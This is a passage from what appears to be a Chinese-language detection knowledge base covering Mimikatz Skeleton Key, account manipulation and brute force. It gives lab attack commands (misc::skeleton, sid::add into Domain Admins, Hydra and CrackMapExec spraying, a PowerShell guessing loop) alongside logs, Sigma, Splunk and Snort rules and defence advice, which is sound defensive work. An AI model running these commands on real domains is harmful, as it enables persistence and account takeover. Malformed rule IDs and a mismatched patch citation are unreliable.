Key**（域控制器，管理员权限）：\n   ```cmd\n   cd C:\\Tools\\mimikatz_trunk\\x64\n   mimikatz.exe \"privilege::debug\" \"misc::skeleton\" exit\n   ```\n   - 预期输出：\n     ```\n     Privilege '20' OK\n     [KDC] data\n     [KDC] struct\n     [KDC] keys patch OK\n     [RC4] functions\n     [RC4] init patch OK\n     [RC4] decrypt patch OK\n     ```\n4. **使用Skeleton Key登录**（域内主机）：\n   ```cmd\n   net use \\\\dc.xiaomi.org\\ipc$ \"mimikatz\" /user:xiaomi\\administrator\n   dir \\\\dc.xiaomi.org\\c$\n   ```\n   - 预期输出：列出C$目录内容。\n5. **清理网络连接**：\n   ```cmd\n   net use \\\\dc.xiaomi.org\\ipc$ /del /y\n   ```\n\n### 参考资源\n- Mimikatz Skeleton Key：<https://adsecurity.org/?p=551>\n- 内网渗透技术：<https://www.bbsmax.com/A/A7zgkjRPz4/>\n\n## 检测日志\n\n### 数据来源\n- **Windows安全日志**（域控制器）：\n  - 事件ID4673：调用敏感权限（如SeDebugPrivilege）\n  - 事件ID4688：进程创建（mimikatz.exe）\n  - 事件ID4689：进程退出\n  - 事件ID4624：异常登录（使用Skeleton Key）\n- **Sysmon日志**：\n  - 事件ID1：进程创建（mimikatz.exe）\n  - 事件ID7：映像加载（lsasrv.dll补丁）\n- **PowerShell日志**：\n  - 事件ID4104：脚本块记录（若通过PowerShell执行Mimikatz）\n- **网络流量**：\n  - 捕获Kerberos（88/TCP）或SMB（445/TCP）流量，关注多用户使用相同密码的登录尝试\n\n### 日志示例\n- **事件ID4673**（调用SeDebugPrivilege）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"PrivilegeName\">SeDebugPrivilege</Data>\n      <Data Name=\"ProcessName\">C:\\Tools\\mimikatz_trunk\\x64\\mimikatz.exe</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n      <Data Name=\"SubjectDomainName\">XIAOMI</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4688**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ProcessName\">C:\\Tools\\mimikatz_trunk\\x64\\mimikatz.exe</Data>\n      <Data Name=\"CommandLine\">mimikatz.exe \"privilege::debug\" \"misc::skeleton\" exit</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4624**（异常登录）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">administrator</Data>\n      <Data Name=\"TargetDomainName\">XIAOMI</Data>\n      <Data Name=\"LogonType\">3</Data>\n      <Data Name=\"AuthenticationPackageName\">NTLM</Data>\n      <Data Name=\"WorkstationName\">CLIENT-PC</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 测试复现\n\n### 环境配置\n- 域控制器：Windows Server 2008 R2（dc.xiaomi.org）\n- 域内主机：Windows 7\n- 工具：Mimikatz（x64）\n- 用户：普通用户（xiaomi，密码user123）、管理员（administrator，密码admin.098）\n- 域：xiaomi.org\n\n### 复现步骤\n1. **验证普通用户权限**：\n   ```cmd\n   dir \\\\dc.xiaomi.org\\c$\n   ```\n   - 输出：`Access is denied.`\n2. **使用管理员原始密码验证**：\n   ```cmd\n   net use \\\\dc.xiaomi.org\\ipc$ \"admin.098\" /user:xiaomi\\administrator\n   dir \\\\dc.xiaomi.org\\c$\n   ```\n   - 输出：列出C$目录内容。\n3. **注入Skeleton Key**：\n   ```cmd\n   cd C:\\Tools\\mimikatz_trunk\\x64\n   mimikatz.exe \"privilege::debug\" \"misc::skeleton\" exit\n   ```\n   - 输出：\n     ```\n     Privilege '20' OK\n     [KDC] data\n     [KDC] struct\n     [KDC] keys patch OK\n     [RC4] functions\n     [RC4] init patch OK\n     [RC4] decrypt patch OK\n     ```\n4. **使用Skeleton Key登录**：\n   ```cmd\n   net use \\\\dc.xiaomi.org\\ipc$ \"mimikatz\" /user:xiaomi\\administrator\n   dir \\\\dc.xiaomi.org\\c$\n   ```\n   - 输出：列出C$目录内容。\n5. **清理连接**：\n   ```cmd\n   net use \\\\dc.xiaomi.org\\ipc$ /del /y\n   ```\n\n## 测试留痕\n\n### Windows安全日志\n- **事件ID4673**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"PrivilegeName\">SeDebugPrivilege</Data>\n      <Data Name=\"ProcessName\">C:\\Tools\\mimikatz_trunk\\x64\\mimikatz.exe</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4688**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ProcessName\">C:\\Tools\\mimikatz_trunk\\x64\\mimikatz.exe</Data>\n      <Data Name=\"CommandLine\">mimikatz.exe \"privilege::debug\" \"misc::skeleton\" exit</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4624**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">administrator</Data>\n      <Data Name=\"TargetDomainName\">XIAOMI</Data>\n      <Data Name=\"LogonType\">3</Data>\n      <Data Name=\"AuthenticationPackageName\">NTLM</Data>\n      <Data Name=\"WorkstationName\">CLIENT-PC</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Sysmon日志\n- **事件ID1**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz_trunk\\x64\\mimikatz.exe</Data>\n      <Data Name=\"CommandLine\">mimikatz.exe \"privilege::debug\" \"misc::skeleton\" exit</Data>\n      <Data Name=\"User\">XIAOMI\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID7**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ImageLoaded\">C:\\Windows\\System32\\lsasrv.dll</Data>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz_trunk\\x64\\mimikatz.exe</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - 监控事件ID4688/1，检测`mimikatz.exe`或`misc::skeleton`命令执行。\n   - 监控事件ID4673，捕获`SeDebugPrivilege`调用。\n   - 监控事件ID4624，关注高权限账户的异常登录（LogonType 3，NTLM/Kerberos）。\n2. **行为分析**：\n   - 检测多用户使用相同密码（如“mimikatz”）登录高权限账户。\n   - 监控短时间内多个账户的异常登录模式。\n3. **Sysmon增强**：\n   - 事件ID1：监控Mimikatz进程创建。\n   - 事件ID7：监控`lsasrv.dll`加载，捕获KDC补丁行为。\n4. **网络监控**：\n   - 捕获Kerberos（88/TCP）或SMB（445/TCP）流量，检测多用户使用相同凭据的模式。\n   - 示例Snort规则：\n     ```snort\n     alert tcp any any -> any 445 (msg:\"Skeleton Key SMB Login Attempt\"; content:\"mimikatz\"; sid:1000004;)\n     ```\n\n### Sigma规则\n#### 规则一：Mimikatz Skeleton Key注入\n```yaml\ntitle: Mimikatz Skeleton Key注入检测\nid: f6a7b8c9-0d1e-4f7a-ag2b-9c0d1e2f3c4d\nstatus: stable\ndescription: 检测Mimikatz执行misc::skeleton注入Skeleton Key的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1098/\n  - https://adsecurity.org/?p=551\ntags:\n  - attack.persistence\n  - attack.t1098\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID|in:\n      - 4688\n      - 1\n    Image|endswith: '\\mimikatz.exe'\n    CommandLine|contains: 'misc::skeleton'\n  condition: selection\nfields:\n  - ComputerName\n  - User\n  - CommandLine\n  - Image\nfalsepositives:\n  - 安全研究或合法测试\nlevel: critical\n```\n\n#### 规则二：Skeleton Key异常登录\n```yaml\ntitle: Skeleton Key异常登录检测\nid: g7b8c9d0-1e2f-4g8b-bh3c-0d1e2f3g4d5e\nstatus: stable\ndescription: 检测使用Skeleton Key（如默认密码mimikatz）的异常登录\nreferences:\n  - https://attack.mitre.org/techniques/T1098/\ntags:\n  - attack.persistence\n  - attack.t1098\nlogsource:\n  product:windows\n  service:security\ndetection:\n  selection_4624:\n    EventID: 4624\n    LogonType: 3\n    AuthenticationPackageName|in:\n      - NTLM\n      - Kerberos\n    TargetUserName|in:\n      - 'administrator'\n      - 'Domain Admins'\n  selection_4673:\n    EventID: 4673\n    PrivilegeName: 'SeDebugPrivilege'\n  timeframe: 5s\n  condition: selection_4624 and selection_4673\nfields:\n  - EventID\n  - TargetUserName\n  - TargetDomainName\n  - WorkstationName\n  - PrivilegeName\nfalsepositives:\n  - 管理员合法高权限登录\nlevel: high\n```\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\n(EventCode=4688 NewProcessName=\"*mimikatz.exe\" CommandLine=\"*misc::skeleton*\"\nOR (EventCode=4624 LogonType=3 AuthenticationPackageName IN (\"NTLM\",\"Kerberos\") TargetUserName IN (\"administrator\",\"Domain Admins\")\nAND EventCode=4673 PrivilegeName=\"SeDebugPrivilege\"))\n| transaction WorkstationName maxspan=5s\n| fields EventCode,TargetUserName,WorkstationName,CommandLine,PrivilegeName\n```\n\n规则说明：\n- 检测Mimikatz执行和Skeleton Key异常登录。\n- 减少误报：使用5秒时间窗口关联事件。\n\n## 防御建议\n1. **补丁管理**：\n   - 安装KB3011780补丁，修复MS14-068漏洞。\n   - 定期检查系统补丁状态。\n2. **权限控制**：\n   - 最小化域管理员账户使用。\n   - 限制非管理员对域控制器的远程访问（如IPC$、C$）。\n3. **日志监控**：\n   - 启用事件ID4624、4673、4688审计。\n   - 部署Sysmon，监控Mimikatz和`lsasrv.dll`加载。\n   - 使用SIEM关联异常登录和进程行为。\n4. **多因素认证（MFA）**：\n   - 为管理员账户启用MFA。\n   - 对高权限操作实施二次验证。\n5. **主动防御**：\n   - 部署诱捕账户，监控异常登录。\n   - 使用EDR工具检测Mimikatz行为。\n\n## 参考推荐\n- MITRE ATT&CK T1098:  \n  <https://attack.mitre.org/techniques/T1098/>\n- Mimikatz Skeleton Key分析:  \n  <https://adsecurity.org/?p=551>\n- Active Directory安全最佳实践:  \n  <https://adsecurity.org/?p=1684>\n- Mimikatz文档:  \n  <https://github.com/gentilkiwi/mimikatz>\n- 内网渗透技术:  \n  <https://www.bbsmax.com/A/A7zgkjRPz4/>"
  },
  {
    "path": "Windows/08凭证访问/T1098-win-账户操作.md",
    "content": "# T1098-Win-账户操作\n\n## 描述\n\n账户操作（Account Manipulation）是指攻击者通过创建、修改或删除用户账户、权限组、凭据或认证方式，以实现持久化访问、权限提升或横向移动。常见行为包括创建新账户、将用户添加到高权限组（如Domain Admins或Administrators）、更改账户密码、启用禁用账户或修改账户属性（如SID）。攻击者通常需要管理员或域管理员权限，结合工具如CMD、PowerShell或Mimikatz执行操作。此技术常用于维持对Windows系统或Active Directory域的控制。\n\n## 测试案例\n\n### 测试环境\n- 域控制器：Windows Server 2019（dc.lab.local）\n- 域内主机：Windows 10\n- 工具：CMD、PowerShell、Mimikatz\n- 要求：管理员或域管理员权限、启用Windows安全日志审计\n- 测试账户：testuser，密码Test@123\n\n### 测试准备\n1. 确认权限：\n   ```cmd\n   whoami /all\n   ```\n   - 确保具有Administrators或Domain Admins权限。\n2. 启用账户管理审计：\n   - 组策略：计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 账户管理 > 启用成功和失败审计。\n3. 准备测试账户和组（如testuser、Domain Admins）。\n\n### 测试步骤\n1. **创建本地用户**：\n   ```cmd\n   net user testuser Test@123 /add\n   ```\n2. **添加用户到本地管理员组**：\n   ```cmd\n   net localgroup Administrators testuser /add\n   ```\n3. **创建域用户**：\n   ```cmd\n   net user testuser Test@123 /add /domain\n   ```\n4. **添加用户到域管理员组**：\n   ```cmd\n   net group \"Domain Admins\" testuser /add /domain\n   ```\n5. **使用PowerShell修改用户密码**：\n   ```powershell\n   Set-ADAccountPassword -Identity testuser -NewPassword (ConvertTo-SecureString \"NewPass@456\" -AsPlainText -Force)\n   ```\n6. **使用Mimikatz修改账户SID权限**：\n   ```cmd\n   mimikatz.exe \"privilege::debug\" \"sid::patch\" \"sid::add /sid:S-1-5-21-1473643419-774954089-2222329127-1000 /group:Domain Admins\" exit\n   ```\n\n### 参考资源\n- Mimikatz文档：<https://github.com/gentilkiwi/mimikatz>\n- Windows账户管理命令：<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/net-user>\n\n## 检测日志\n\n### 数据来源\n- **Windows安全日志**：\n  - 事件ID4720：用户账户创建\n  - 事件ID4722：用户账户启用\n  - 事件ID4728：用户添加到域安全组\n  - 事件ID4732：用户添加到本地安全组\n  - 事件ID4738：用户账户更改（如密码重置）\n  - 事件ID4688：进程创建（记录命令行）\n- **Sysmon日志**：\n  - 事件ID1：进程创建（监控net.exe、powershell.exe、mimikatz.exe）\n  - 事件ID13：注册表修改（SAM或SID相关键）\n- **PowerShell日志**：\n  - 事件ID4103/4104：PowerShell脚本块和命令执行\n- **网络流量**：\n  - 监控与域控制器（389/TCP、445/TCP）的账户管理操作\n\n### 日志示例\n- **事件ID4720**（用户账户创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser</Data>\n      <Data Name=\"TargetDomainName\">LAB</Data>\n      <Data Name=\"SubjectUserName\">admin</Data>\n      <Data Name=\"SubjectDomainName\">LAB</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4728**（用户添加到域安全组）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"MemberName\">CN=testuser,CN=Users,DC=lab,DC=local</Data>\n      <Data Name=\"GroupName\">Domain Admins</Data>\n      <Data Name=\"SubjectUserName\">admin</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4738**（用户账户更改）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser</Data>\n      <Data Name=\"TargetDomainName\">LAB</Data>\n      <Data Name=\"ChangedAttributes\">Password</Data>\n      <Data Name=\"SubjectUserName\">admin</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4688**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ProcessName\">C:\\Windows\\System32\\net.exe</Data>\n      <Data Name=\"CommandLine\">net user testuser Test@123 /add</Data>\n      <Data Name=\"SubjectUserName\">admin</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 测试复现\n\n### 环境配置\n- 域控制器：Windows Server 2019（dc.lab.local）\n- 域内主机：Windows 10\n- 用户：testuser，密码Test@123\n- 权限：域管理员或本地管理员\n\n### 复现步骤\n1. **创建本地用户**：\n   ```cmd\n   net user testuser Test@123 /add\n   ```\n   - 输出：`命令成功完成。`\n2. **添加到本地管理员组**：\n   ```cmd\n   net localgroup Administrators testuser /add\n   ```\n   - 输出：`命令成功完成。`\n3. **创建域用户并添加到Domain Admins**：\n   ```cmd\n   net user testuser Test@123 /add /domain\n   net group \"Domain Admins\" testuser /add /domain\n   ```\n   - 输出：`命令成功完成。`\n4. **使用PowerShell修改密码**：\n   ```powershell\n   Set-ADAccountPassword -Identity testuser -NewPassword (ConvertTo-SecureString \"NewPass@456\" -AsPlainText -Force)\n   ```\n5. **验证日志**：\n   - 检查域控制器事件ID4720、4728、4738。\n   - 检查本地主机事件ID4732。\n\n## 测试留痕\n\n### Windows安全日志\n- **事件ID4720**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser</Data>\n      <Data Name=\"TargetDomainName\">LAB</Data>\n      <Data Name=\"SubjectUserName\">admin</Data>\n      <Data Name=\"SubjectDomainName\">LAB</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4728**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"MemberName\">CN=testuser,CN=Users,DC=lab,DC=local</Data>\n      <Data Name=\"GroupName\">Domain Admins</Data>\n      <Data Name=\"SubjectUserName\">admin</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4732**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"MemberName\">testuser</Data>\n      <Data Name=\"GroupName\">Administrators</Data>\n      <Data Name=\"SubjectUserName\">admin</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4738**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser</Data>\n      <Data Name=\"TargetDomainName\">LAB</Data>\n      <Data Name=\"ChangedAttributes\">Password</Data>\n      <Data Name=\"SubjectUserName\">admin</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Sysmon日志\n- **事件ID1**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Windows\\System32\\net.exe</Data>\n      <Data Name=\"CommandLine\">net user testuser Test@123 /add</Data>\n      <Data Name=\"User\">LAB\\admin</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - 监控事件ID4720、4728、4732、4738，检测非预期账户创建或高权限组修改。\n   - 检查事件ID4688，分析`net.exe`、`powershell.exe`或`mimikatz.exe`的命令行。\n2. **行为分析**：\n   - 检测非管理员用户执行账户操作。\n   - 监控短时间内多次账户创建或权限更改。\n3. **Sysmon增强**：\n   - 事件ID1：监控`net.exe`、`powershell.exe`命令行。\n   - 事件ID13：监控SAM注册表键（如HKLM\\SAM）更改。\n4. **关联分析**：\n   - 结合事件ID4624（登录成功）与4720/4728，检测新账户的异常登录。\n   - 使用SIEM关联多事件，识别账户操作链。\n\n### Sigma规则\n#### 规则一：Net.exe账户操作\n```yaml\ntitle: Net.exe账户操作检测\nid: d4e5f6a7-8b9c-4d5e-be0f-7a8b9c0d1e2a\nstatus: stable\ndescription: 检测使用net.exe或net1.exe创建用户或添加用户到权限组\nreferences:\n  - https://attack.mitre.org/techniques/T1098/\ntags:\n  - attack.persistence\n  - attack.t1098\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_user:\n    EventID|in:\n      - 4688\n      - 1\n    Image|endswith:\n      - '\\net.exe'\n      - '\\net1.exe'\n    CommandLine|contains|all:\n      - 'user'\n      - '/add'\n  selection_group:\n    EventID|in:\n      - 4688\n      - 1\n    Image|endswith:\n      - '\\net.exe'\n      - '\\net1.exe'\n    CommandLine|contains:\n      - 'group'\n      - '/add'\n      - 'Administrators'\n      - 'Domain Admins'\n  condition: selection_user or selection_group\nfields:\n  - ComputerName\n  - User\n  - CommandLine\n  - Image\nfalsepositives:\n  - 管理员合法账户管理\nlevel: medium\n```\n\n#### 规则二：账户创建或修改\n```yaml\ntitle: 账户创建或权限修改检测\nid: e5f6a7b8-9c0d-4e6f-bf1a-8c9d0e1f2b3c\nstatus: stable\ndescription: 检测用户账户创建、权限组修改或密码更改\nreferences:\n  - https://attack.mitre.org/techniques/T1098/\ntags:\n  - attack.persistence\n  - attack.t1098\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection_create:\n    EventID: 4720\n    TargetUserName|notcontains:\n      - '$'\n      - 'krbtgt'\n  selection_group:\n    EventID|in:\n      - 4728\n      - 4732\n    GroupName|in:\n      - 'Administrators'\n      - 'Domain Admins'\n  selection_modify:\n    EventID: 4738\n    ChangedAttributes|contains: 'Password'\n  condition: selection_create or selection_group or selection_modify\nfields:\n  - EventID\n  - TargetUserName\n  - GroupName\n  - SubjectUserName\nfalsepositives:\n  - 管理员合法账户操作\nlevel: high\n```\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\n(EventCode=4720 TargetUserName!=\"$*\" TargetUserName!=\"krbtgt\"\nOR EventCode IN (4728,4732) GroupName IN (\"Administrators\",\"Domain Admins\")\nOR EventCode=4738 ChangedAttributes=\"*Password*\"\nOR EventCode=4688 NewProcessName=\"*net.exe\" CommandLine=\"*user*/add*\"\nOR EventCode=4688 NewProcessName=\"*net.exe\" CommandLine=\"*group*/add*\")\n| fields EventCode,TargetUserName,GroupName,SubjectUserName,NewProcessName,CommandLine\n```\n\n规则说明：\n- 检测账户创建、组修改、密码更改和net.exe操作。\n- 减少误报：排除服务账户，结合上下文分析。\n\n## 防御建议\n1. **权限控制**：\n   - 最小化管理员权限，仅授权必要用户。\n   - 限制对SAM数据库和组策略对象的访问（通过GPO）。\n2. **日志监控**：\n   - 启用事件ID4720、4728、4732、4738、4688审计。\n   - 部署Sysmon，监控进程和注册表行为。\n   - 使用SIEM关联账户操作事件。\n3. **多因素认证（MFA）**：\n   - 为管理员账户启用MFA。\n   - 对高权限操作（如组修改）实施二次验证。\n4. **安全策略**：\n   - 定期审计用户账户和权限组，移除不必要的高权限账户。\n   - 使用AppLocker或WDAC限制`net.exe`和PowerShell非管理员执行。\n5. **主动防御**：\n   - 部署诱捕账户（HoneyAccounts），监控异常操作。\n   - 使用EDR工具检测Mimikatz或异常进程行为。\n\n## 参考推荐\n- MITRE ATT&CK T1098:  \n  <https://attack.mitre.org/techniques/T1098/>\n- Active Directory安全最佳实践:  \n  <https://adsecurity.org/?p=1684>\n- Mimikatz文档:  \n  <https://github.com/gentilkiwi/mimikatz>\n- Windows账户管理命令:  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/net-user>\n- Sysmon配置指南:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>"
  },
  {
    "path": "Windows/08凭证访问/T1110-暴力破解.md",
    "content": "# T1110-暴力破解\n\n## 描述\n\n暴力破解（Brute Force，MITRE ATT&CK T1110）是指攻击者在未知账号密码或仅拥有密码哈希的情况下，通过系统性猜测密码尝试访问目标账号。攻击者可能通过凭据导出（T1003）获取密码哈希，若无法直接使用传递哈希（Pass-the-Hash），则利用密码破解工具（如Hashcat）或预计算的彩虹表破解哈希。破解通常在攻击者控制的外部系统上进行，以规避目标网络的检测。攻击者也可能直接尝试多种密码组合登录目标系统，但此方法风险较高，可能触发账号锁定或认证失败告警。为降低锁定风险，攻击者可能采用密码喷洒（Password Spraying），即使用单一或少量常见密码（如“Password01”）尝试登录多个账号。此技术常用于初始访问或权限提升。\n\n## 测试案例\n\n### 测试环境\n- 系统：Windows Server 2019（域控制器，dc.abcc.org）或Windows 10\n- 工具：Hydra、CrackMapExec、自定义PowerShell脚本\n- 要求：域环境（abcc.org，可选）、目标账号列表、启用Windows安全日志审计\n- 用户：测试账号（user1、user2，密码未知）\n- 日志：Windows安全日志（事件ID4625、4624）、Sysmon（事件ID1）\n\n### 测试准备\n1. 确认目标账号：\n   - 获取账号列表（如user1、user2）：\n     ```cmd\n     net user /domain\n     ```\n2. 启用安全日志审计：\n   - 组策略：计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 登录事件 > 启用成功和失败审计。\n   - 安装Sysmon：<https://docs.microsoft.com/sysinternals/downloads/sysmon>\n     - 配置：启用事件ID1（进程创建）。\n3. 下载暴力破解工具：\n   - Hydra：<https://github.com/vanhauser-thc/thc-hydra>\n   - CrackMapExec：<https://github.com/byt3bl33d3r/CrackMapExec>\n   - 放置于测试系统（C:\\Tools\\）。\n4. 准备密码字典：\n   - 下载常见密码列表：<https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt>\n   - 保存至本地（C:\\Tools\\passwords.txt）。\n5. 确认网络连通性：\n   ```cmd\n   ping dc.abcc.org\n   ```\n\n### 测试步骤\n1. **使用Hydra暴力破解SMB服务**：\n   ```cmd\n   cd C:\\Tools\\hydra\n   hydra -L C:\\Tools\\users.txt -P C:\\Tools\\passwords.txt smb://dc.abcc.org\n   ```\n   - 输出示例：\n     ```\n     [445][smb] host: dc.abcc.org login: user1 password: Password123\n     ```\n2. **使用CrackMapExec进行密码喷洒**：\n   ```cmd\n   crackmapexec smb dc.abcc.org -u C:\\Tools\\users.txt -p Password123\n   ```\n   - 输出示例：\n     ```\n     SMB         dc.abcc.org     445    DC01             [+] ABCC\\user1:Password123\n     ```\n3. **使用PowerShell脚本模拟暴力破解**：\n   ```powershell\n   $users = Get-Content C:\\Tools\\users.txt\n   $passwords = Get-Content C:\\Tools\\passwords.txt\n   foreach ($user in $users) {\n       foreach ($pass in $passwords) {\n           $cred = New-Object System.Management.Automation.PSCredential($user, (ConvertTo-SecureString $pass -AsPlainText -Force))\n           try {\n               $result = Test-Connection -ComputerName dc.abcc.org -Credential $cred -ErrorAction Stop\n               Write-Output \"Success: $user:$pass\"\n           } catch {\n               Write-Output \"Failed: $user:$pass\"\n           }\n       }\n   }\n   ```\n   - 输出示例：\n     ```\n     Failed: user1:password\n     Success: user1:Password123\n     ```\n\n### 参考资源\n- Hydra文档：<https://github.com/vanhauser-thc/thc-hydra>\n- CrackMapExec文档：<https://github.com/byt3bl33d3r/CrackMapExec>\n- 密码字典：<https://github.com/danielmiessler/SecLists>\n\n## 检测日志\n\n### 数据来源\n- **Windows安全日志**（域控制器或目标系统）：\n  - 事件ID4625：登录失败（暴力破解尝试）\n  - 事件ID4624：登录成功（破解成功）\n  - 事件ID4740：账号锁定\n- **Sysmon日志**：\n  - 事件ID1：进程创建（hydra.exe、crackmapexec.exe）\n  - 事件ID3：网络连接（异常登录尝试）\n- **网络流量**：\n  - 捕获SMB（445/TCP）、RDP（3389/TCP）、Kerberos（88/TCP）异常流量\n- **防火墙日志**：\n  - 监控单一源IP的多次连接尝试\n\n## 测试复现\n\n### 环境配置\n- 系统：Windows Server 2019（dc.abcc.org）\n- 工具：Hydra\n- 用户：user1（密码：Password123）\n- 日志：Windows安全日志（事件ID4625、4624）、Sysmon（事件ID1）\n- 字典：C:\\Tools\\users.txt、C:\\Tools\\passwords.txt\n\n### 复现步骤\n1. **准备用户和密码字典**：\n   ```cmd\n   echo user1 > C:\\Tools\\users.txt\n   echo Password123 > C:\\Tools\\passwords.txt\n   echo wrongpass >> C:\\Tools\\passwords.txt\n   ```\n2. **执行暴力破解**：\n   ```cmd\n   cd C:\\Tools\\hydra\n   hydra -L C:\\Tools\\users.txt -P C:\\Tools\\passwords.txt smb://dc.abcc.org\n   ```\n   - 输出：\n     ```\n     [445][smb] host: dc.abcc.org login: user1 password: Password123\n     ```\n3. **验证日志**：\n   - 检查事件ID4625：确认登录失败记录。\n   - 检查事件ID4624：确认成功登录。\n\n## 测试留痕\n\n### Windows安全日志\n- **事件ID4625**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">user1</Data>\n      <Data Name=\"TargetDomainName\">ABCC</Data>\n      <Data Name=\"IpAddress\">192.168.1.100</Data>\n      <Data Name=\"Status\">0xC000006D</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4624**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">user1</Data>\n      <Data Name=\"TargetDomainName\">ABCC</Data>\n      <Data Name=\"IpAddress\">192.168.1.100</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Sysmon日志\n- **事件ID1**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Tools\\hydra\\hydra.exe</Data>\n      <Data Name=\"CommandLine\">hydra -L users.txt -P passwords.txt smb://dc.abcc.org</Data>\n      <Data Name=\"User\">ATTACKER\\admin</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - Windows事件ID4625：检测单一源IP或用户名的多次登录失败。\n   - Windows事件ID4740：捕获账号锁定事件。\n   - Sysmon事件ID1：监控暴力破解工具（如hydra.exe）执行。\n2. **行为分析**：\n   - 检测短时间内单一源IP对多个账号的登录尝试（密码喷洒）。\n   - 监控异常登录模式（如夜间高频尝试）。\n3. **网络监控**：\n   - 捕获SMB（445/TCP）、RDP（3389/TCP）、Kerberos（88/TCP）的异常流量。\n   - 示例Snort规则：\n     ```snort\n     alert tcp any any -> any 445 (msg:\"Brute Force SMB Attempt\"; threshold:type threshold, track by_src, count 30, seconds 600; sid:1000007;)\n     ```\n4. **关联分析**：\n   - 结合事件ID4624和4625，检测破解成功后的登录行为。\n   - 监控后续凭据使用（如异常权限提升，事件ID4672）。\n\n### Sigma规则\n#### 规则一：暴力破解检测\n```yaml\ntitle: 暴力破解检测\nid: t0u1v2w3-4x5y-6z7a-ob6p-3q4r5s6t7u8v\nstatus: stable\ndescription: 检测单一源IP短时间内多次认证失败\nreferences:\n  - https://attack.mitre.org/techniques/T1110/\ntags:\n  - attack.brute_force\n  - attack.t1110\nlogsource:\n  product: windows\n  category: security\ndetection:\n  selection:\n    EventID: 4625\n    Status: '0xC000006D'\n  timeframe: 600s\n  condition: selection | count() by IpAddress > 30\nfields:\n  - EventID\n  - IpAddress\n  - TargetUserName\n  - TargetDomainName\nfalsepositives:\n  - 合法应用程序认证失败\n  - 渗透测试\n  - 漏洞扫描\nlevel: medium\n```\n\n#### 规则二：密码喷洒检测\n```yaml\ntitle: 密码喷洒检测\nid: u1v2w3x4-5y6z-7a8b-pc7q-4r5s6t7u8v9w\nstatus: stable\ndescription: 检测单一源IP尝试多个账号的登录\nreferences:\n  - https://attack.mitre.org/techniques/T1110/\ntags:\n  - attack.brute_force\n  - attack.t1110\nlogsource:\n  product: windows\n  category: security\ndetection:\n  selection:\n    EventID: 4625\n    Status: '0xC000006D'\n  timeframe: 600s\n  condition: selection | count(TargetUserName) by IpAddress > 10\nfields:\n  - EventID\n  - IpAddress\n  - TargetUserName\n  - TargetDomainName\nfalsepositives:\n  - 管理员批量测试账号\n  - 自动化脚本认证\nlevel: medium\n```\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\" EventCode=4625 Status=0xC000006D\n| stats count by IpAddress,TargetUserName | where count > 30\n| fields IpAddress,TargetUserName,count\n```\n\n规则说明：\n- 检测10分钟内单一源IP的多次登录失败或多个账号尝试。\n- 降低误报：设置合理阈值（>30或>10）。\n\n## 防御建议\n1. 